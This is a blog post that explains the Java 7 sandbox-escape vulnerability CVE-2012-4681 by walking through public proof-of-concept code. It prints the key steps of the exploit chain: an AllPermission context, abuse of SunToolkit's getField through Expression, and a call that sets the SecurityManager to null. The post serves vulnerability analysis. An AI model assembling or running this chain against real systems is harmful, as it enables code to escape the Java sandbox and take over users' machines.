It’s been a while since I’ve blogged but I couldn’t resist with the latest Java vulnerability. I saw the proof of concept code posted by jduck last night (here) and thought this looks like normal Java code to me (I develop in Java at my day job). Well it turns out…this is normal Java code!

Updates

  • This has been assigned CVE-2012-4681.
  • Post Updated: I originally thought the vulnerability was due to the public nature of SunToolkit’s getField method. While this does help to exploit the vulnerability, it’s not actually the real problem. The problem lies in the Expression class (or it’s parent Statement) as you’re allowed to call Class.forName and load restricted packages.

Breaking It Down

Statement localStatement = 
   new Statement(System.class, "setSecurityManager", new Object[1]);

If you can disable the Java SecurityManager then you can disable any security checks and you have full control to run whatever code you would like on the JVM. If this code happens to be code running from an applet within a browser, you’re in trouble.

This is what the first statement is doing by setting the securityManager to null. But hold on, you can’t just call setSecurityManager without proper privileges. It’s not that easy!

What we need to do is we need to set the context within which setSecurityManager runs to be AllPermission.

Permissions localPermissions = new Permissions();
localPermissions.add(new AllPermission());
ProtectionDomain localProtectionDomain = 
   new ProtectionDomain(new CodeSource(
   new URL("file:///"), new Certificate[0]), localPermissions);
AccessControlContext localAccessControlContext = 
   new AccessControlContext(new ProtectionDomain[] {
      localProtectionDomain
   });

The above code is preparing a full privileges context so we can disable the SecurityManger. Now, how are we going to set this context within the Statement object?

A beautiful disaster

SunToolkit provides a public method which happily executes a privileged operation and returns a reference to a a Field object. It also calls setAccessible(true) on the field which means it disables any ‘final’ or ‘private’ directives.

Since SunToolkit is part of sun.awt.* and packaged in rt.jar (Java Runtime Classes) it is able to execute this privileged method for us (all system code has full privileges).

We can use this to set the ‘acc’ (an AccessControlContext object) field within the Statement class to our full privileges object.

SetField(Statement.class, "acc", localStatement, localAccessControlContext);

The details of setField are were we see SunToolkit being abused

Object arrayOfObject[] = new Object[2];
arrayOfObject[0] = paramClass;
arrayOfObject[1] = paramString;
Expression localExpression = 
   new Expression(GetClass("sun.awt.SunToolkit"), "getField", arrayOfObject);
localExpression.execute();
((Field)localExpression.getValue()).set(paramObject1, paramObject2);

Line 4, 5, and 7 are important. Line 4 and 5 get a reference to sun.awt.SunToolkit. Normally you wouldn’t be able to do this. You’d get

access denied("java.lang.RuntimePermission" "accessClassInPackage.sun.awt")

But for some reason (still not clear to me), in Java 7 update 6, executing Class.forName as an Expression object gives you the correct privileges to get access to this class. The reason that Expression can can call Class.forName is that Java Security only checks the immediate caller (Statement) which in this case is privileged.

// Succeeds
Expression localExpression = 
   new Expression(Class.class, "forName", arrayOfObject);

Line 7 is the actual call to set the AllPermissions context. Now that we’ve setup the statement to execute with full privileges, all we need to do is execute it.

//recall localStatement.execute() = setSecurityManager(null)
localStatement.execute();

SecurityManager disabled (a null SecurityManager is a disabled SecurityManager).